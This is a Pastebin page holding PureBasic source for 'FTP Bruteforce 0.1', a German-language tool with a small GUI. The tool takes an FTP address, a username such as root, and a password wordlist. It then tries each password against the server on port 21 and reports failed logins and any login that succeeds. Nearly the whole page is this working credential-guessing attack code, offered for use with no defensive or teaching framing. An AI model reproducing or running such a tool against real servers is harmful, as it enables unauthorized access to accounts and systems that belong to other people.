SHARE
TWEET

FTP - Bruteforce 0.1

a guest Aug 25th, 2013 7 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Quellcode (COPYRIGHT BY STEFFEN KREMER):
  2.  
  3. If Not InitNetwork()
  4.   MessageRequester("Error","Can´t initialize Network!")
  5.   End
  6. EndIf
  7.  
  8. Procedure mainwindow(ftp.s)
  9.   OpenWindow(0, 0, 0, 260, 280, "FTP Bruteforce 0.1", #PB_Window_SystemMenu)
  10.   Frame3DGadget(0, 5, 5, 250, 115, "FTP - Name:")
  11.   OptionGadget(1, 25, 30, 100, 15, "root benutzen")
  12.   SetGadgetState(1, 1)
  13.   OptionGadget(3, 25, 50, 70, 15, "eigenen:")
  14.   OptionGadget(11, 25, 70, 50, 15, "Liste:")
  15.   StringGadget(5, 95, 165, 150, 20, "password")
  16.   StringGadget(7, 75, 190, 170, 20, "C:")
  17.   ButtonGadget(8, 75, 215, 170, 15, "Ändern")
  18.   ButtonGadget(9, 5, 240, 250, 35, "Starten:"+Chr(10)+ftp.s,#PB_Button_MultiLine)
  19.   StringGadget(10, 95, 45, 150, 20, "root")
  20.   OptionGadget(6, 25, 190, 50, 15, "Liste:")
  21.   OptionGadget(15, 25, 150, 110, 15, "leeres benutzen")
  22.   OptionGadget(4, 25, 170, 70, 15, "eigenes:")
  23.   StringGadget(12, 75, 70, 170, 20, "C:")
  24.   ButtonGadget(13, 75, 95, 170, 15, "Ändern")
  25.   Frame3DGadget(14, 5, 120, 250, 115, "FTP - Passwort:")
  26.   SetGadgetState(15, 1)
  27.  
  28.   DisableGadget(13,1)
  29.   DisableGadget(12,1)
  30.   DisableGadget(11,1)
  31. EndProcedure
  32.  
  33. Procedure checkftp(user.s,password.s,port,ftp.s)
  34.   If OpenFTP(0,ftp.s,user.s,password.s,#True,port) And IsFTP(0)
  35.     CloseFTP(0)
  36.     ProcedureReturn 1
  37.   EndIf
  38. EndProcedure
  39.  
  40. ftp.s = InputRequester("FTP - Bruteforce","FTP Adresse:","ftp.")
  41. If ftp.s
  42.   mainwindow(ftp.s)
  43. Else
  44.   End
  45. EndIf
  46.  
  47. Repeat
  48.   Event = WaitWindowEvent()
  49.  
  50.   If Event = #PB_Event_CloseWindow  ; If the user has pressed on the close button
  51.     Quit = 1
  52.   EndIf
  53.  
  54.   Select Event
  55.  
  56.   Case #PB_Event_Gadget
  57.     Select EventGadget()
  58.       Case 8
  59.         SetGadgetText(7,OpenFileRequester("Passwort Datei auswählen:",GetGadgetText(7),"",0))
  60.        
  61.       Case 13
  62.         SetGadgetText(12,OpenFileRequester("Passwort Datei auswählen:",GetGadgetText(12),"",0))
  63.        
  64.       Case 9
  65.         If GetGadgetState(1)
  66.           modeu = 1
  67.           user.s = "root"
  68.         EndIf
  69.         If GetGadgetState(3)
  70.           modeu = 2
  71.           user.s = GetGadgetText(10)
  72.         EndIf
  73.         If GetGadgetState(11)
  74.           modeu = 3
  75.           listeu.s = GetGadgetText(12)
  76.         EndIf
  77.         If GetGadgetState(15)
  78.           modep = 1
  79.           passwort.s = " "
  80.         EndIf
  81.         If GetGadgetState(4)
  82.           modep = 2
  83.           passwort.s = GetGadgetText(5)
  84.         EndIf
  85.         If GetGadgetState(6)
  86.           modep = 3
  87.           listep.s = GetGadgetText(7)
  88.         EndIf
  89.         quit = 1
  90.         CloseWindow(0)
  91.        
  92.     EndSelect
  93.    
  94.   EndSelect
  95.  
  96. Until Quit = 1
  97. quit = 0
  98. OpenConsole("FTP - Bruteforce")
  99. ConsoleColor(15,0)
  100. PrintN("FTP - Bruteforce")
  101. PrintN("Build: "+#pb_editor_buildcount)
  102. PrintN("Copyright by R3booz")
  103. PrintN("FTP Adresse: "+ftp.s)
  104. If user.s <> ""
  105.   PrintN("Benutzername: "+user.s)
  106. Else
  107.   PrintN("Benutzername: "+listeu.s)
  108. EndIf
  109. If passwort.s <> ""
  110.   PrintN("Passwort: "+passwort.s)
  111. Else
  112.   PrintN("Passwort: "+listep.s)
  113. EndIf
  114. PrintN("Port: 21")
  115. PrintN("")
  116. PrintN("Starte Bruteforce Attacke:")
  117. If Not OpenFile(0,listep.s) And  modep = 3
  118.   End
  119. EndIf
  120. ;openfile(1,listeu.s)
  121. Repeat
  122.   If modeu = 3
  123.     End
  124.   Else
  125.     UserName.s = user.s
  126.   EndIf
  127.   If modep = 3
  128.     password.s = ReadString(0)
  129.     If password.s = ""
  130.       quit = 1
  131.     EndIf
  132.   Else
  133.     password.s = passwort.s
  134.   EndIf
  135.   If quit = 0
  136.   If Not checkftp(username.s,password.s,21,ftp.s)
  137.     ConsoleColor(12,0)
  138.     PrintN("("+Str(count+1)+") Kein Zugriff - User: "+username.s+" Passwort: "+password.s)
  139.     count + 1
  140.     If modep <> 3
  141.       quit = 1
  142.       PrintN("Fertig")
  143.       Beep_(1000,750)
  144.     EndIf
  145.   Else
  146.     ConsoleColor(10,0)
  147.     PrintN("("+Str(count+1)+") Zugriff - User: "+user.s+" Passwort: "+password.s+" Port: 21")
  148.     PrintN("Fertig")
  149.     Beep_(1000,250)
  150.     Beep_(1500,250)
  151.     Beep_(2000,250)
  152.     quit = 1
  153.   EndIf
  154.   EndIf
  155. Until quit = 1
  156. ConsoleColor(15,0)
  157. PrintN("Es wurden "+Str(count+1)+" Passw"+Chr(214)+"rter versucht.")
  158. PrintN("Enter dr"+Chr(220)+"cken zum beenden...")
  159. Input()
  160. End
RAW Paste Data
Pastebin PRO Autumn Special!
Get 40% OFF on Pastebin PRO accounts!
Top